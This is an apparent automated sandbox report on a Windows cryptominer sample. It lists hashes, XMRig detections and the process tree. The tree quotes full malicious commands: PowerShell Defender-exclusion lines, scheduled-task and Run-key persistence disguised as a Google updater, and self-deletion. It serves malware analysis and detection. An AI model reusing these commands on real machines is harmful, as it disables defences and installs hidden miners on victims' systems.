Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
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max time kernel
343s -
max time network
1834s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24/12/2023, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20231215-en
General
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Target
qM5GMXBk6hJE6Y5e(17).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 2732 created 1292 2732 qM5GMXBk6hJE6Y5e(17).exe 12 PID 2732 created 1292 2732 qM5GMXBk6hJE6Y5e(17).exe 12 PID 2732 created 1292 2732 qM5GMXBk6hJE6Y5e(17).exe 12 PID 2732 created 1292 2732 qM5GMXBk6hJE6Y5e(17).exe 12 PID 1680 created 1292 1680 updater.exe 12 PID 1680 created 1292 1680 updater.exe 12 PID 1680 created 1292 1680 updater.exe 12 PID 1680 created 1292 1680 updater.exe 12 PID 1680 created 1292 1680 updater.exe 12 -
XMRig Miner payload 28 IoCs
resource yara_rule behavioral19/memory/2324-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2324-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2832 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1680 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1748 taskeng.exe -
resource yara_rule behavioral19/memory/2324-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2324-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1680 set thread context of 2380 1680 updater.exe 54 PID 1680 set thread context of 2324 1680 updater.exe 49 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e(17).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2828 schtasks.exe 1884 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3056 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 509e3d657a36da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2732 qM5GMXBk6hJE6Y5e(17).exe 2732 qM5GMXBk6hJE6Y5e(17).exe 2616 powershell.exe 2732 qM5GMXBk6hJE6Y5e(17).exe 2732 qM5GMXBk6hJE6Y5e(17).exe 2712 powershell.exe 2732 qM5GMXBk6hJE6Y5e(17).exe 2732 qM5GMXBk6hJE6Y5e(17).exe 2732 qM5GMXBk6hJE6Y5e(17).exe 2732 qM5GMXBk6hJE6Y5e(17).exe 2816 powershell.exe 1680 updater.exe 1680 updater.exe 1480 powershell.exe 1680 updater.exe 1680 updater.exe 1668 powershell.exe 1680 updater.exe 1680 updater.exe 1680 updater.exe 1680 updater.exe 2380 conhost.exe 2380 conhost.exe 1680 updater.exe 1680 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 472 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2616 powershell.exe Token: SeDebugPrivilege 2712 powershell.exe Token: SeDebugPrivilege 2816 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeDebugPrivilege 1668 powershell.exe Token: SeDebugPrivilege 1680 updater.exe Token: SeAssignPrimaryTokenPrivilege 3056 WMIC.exe Token: SeIncreaseQuotaPrivilege 3056 WMIC.exe Token: SeSecurityPrivilege 3056 WMIC.exe Token: SeTakeOwnershipPrivilege 3056 WMIC.exe Token: SeLoadDriverPrivilege 3056 WMIC.exe Token: SeSystemtimePrivilege 3056 WMIC.exe Token: SeBackupPrivilege 3056 WMIC.exe Token: SeRestorePrivilege 3056 WMIC.exe Token: SeShutdownPrivilege 3056 WMIC.exe Token: SeSystemEnvironmentPrivilege 3056 WMIC.exe Token: SeUndockPrivilege 3056 WMIC.exe Token: SeManageVolumePrivilege 3056 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 3056 WMIC.exe Token: SeIncreaseQuotaPrivilege 3056 WMIC.exe Token: SeSecurityPrivilege 3056 WMIC.exe Token: SeTakeOwnershipPrivilege 3056 WMIC.exe Token: SeLoadDriverPrivilege 3056 WMIC.exe Token: SeSystemtimePrivilege 3056 WMIC.exe Token: SeBackupPrivilege 3056 WMIC.exe Token: SeRestorePrivilege 3056 WMIC.exe Token: SeShutdownPrivilege 3056 WMIC.exe Token: SeSystemEnvironmentPrivilege 3056 WMIC.exe Token: SeUndockPrivilege 3056 WMIC.exe Token: SeManageVolumePrivilege 3056 WMIC.exe Token: SeLockMemoryPrivilege 2324 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2712 wrote to memory of 2828 2712 powershell.exe 33 PID 2712 wrote to memory of 2828 2712 powershell.exe 33 PID 2712 wrote to memory of 2828 2712 powershell.exe 33 PID 2832 wrote to memory of 2952 2832 cmd.exe 34 PID 2832 wrote to memory of 2952 2832 cmd.exe 34 PID 2832 wrote to memory of 2952 2832 cmd.exe 34 PID 2816 wrote to memory of 2212 2816 powershell.exe 37 PID 2816 wrote to memory of 2212 2816 powershell.exe 37 PID 2816 wrote to memory of 2212 2816 powershell.exe 37 PID 1748 wrote to memory of 1680 1748 taskeng.exe 39 PID 1748 wrote to memory of 1680 1748 taskeng.exe 39 PID 1748 wrote to memory of 1680 1748 taskeng.exe 39 PID 1668 wrote to memory of 1884 1668 powershell.exe 46 PID 1668 wrote to memory of 1884 1668 powershell.exe 46 PID 1668 wrote to memory of 1884 1668 powershell.exe 46 PID 1680 wrote to memory of 2380 1680 updater.exe 54 PID 2336 wrote to memory of 3056 2336 cmd.exe 48 PID 2336 wrote to memory of 3056 2336 cmd.exe 48 PID 2336 wrote to memory of 3056 2336 cmd.exe 48 PID 1680 wrote to memory of 2324 1680 updater.exe 49 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1292
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(17).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(17).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2732
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2828
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(17).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2832
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2816
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1884
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2324
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2336
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2380
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2952
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:2212
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C:\Windows\system32\taskeng.exetaskeng.exe {2E8FCA05-9432-4D79-A927-9BC99571BEB1} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1680
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3056
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
- Drops file in Program Files directory
PID:2436
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
119KB
MD50226f8ba67cd43305cd2bcedf93f8e0a
SHA157aeeb8629cc90d16e14c234ecfae8c5750466cf
SHA256a17763c9d00459db1f83c5d303e3f2f90fc4d14230022825b64e3c72af30f254
SHA512056fadc13ecb385612c743757b661160a2f18eeab79e1861412fcce27e898db00c192263a53b6f59210cdaa49b66b90cf576cddc62967616b246654efe6e014e
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Filesize
206KB
MD5bd16dd8b45163c7d9ea4e01db75867e8
SHA1007a8432f13defc05577215bdbf8643921dd4d07
SHA256d6f1585ff580e012ffb10f8d6c152528019173e2d9a8642817da1d6803e0b128
SHA51279023ee81926ea7a539137b972f225e191b099410b74e8355c8d7a8110b2a2d3e8c2cc58f9ffffb7f3f49d2b060049903692968d612fc53052314ad81295b8c9
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FDJPE2FL777KEW9M6FEU.temp
Filesize7KB
MD5cff0a0d41cff5be59f7fcb258052c819
SHA1c830af49510b32650cd1b1036ec3e150fb021c9b
SHA25668d26b28d73dc02ae9b6024262707c6540b1fa05433d22fc777fa154cec4eeac
SHA5127c204561d54979d01cd9900248f3c9c7d0b4778354647f82552cd395d4ac6287639a7220f2cfd8be0ca7ea18c76034e5192674728f1214f99a070c4b9c0e141f
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Filesize
95KB
MD5884e4bbfd85e2a000e835519299bb40a
SHA1be696945a0c163ea392b85880a767897cc01e7fa
SHA256dcce4603c52c2173c5ca5bc946de41d8172beff26614f8d25989f3b1b18b3bb3
SHA51295ae2f3c07d97ee9ef8d24b6d55862ca905c7d27ecd6122bde0253f2715d505256d39b10628a6b0495af241077473615597119170e02be22b271e30e3f9d8397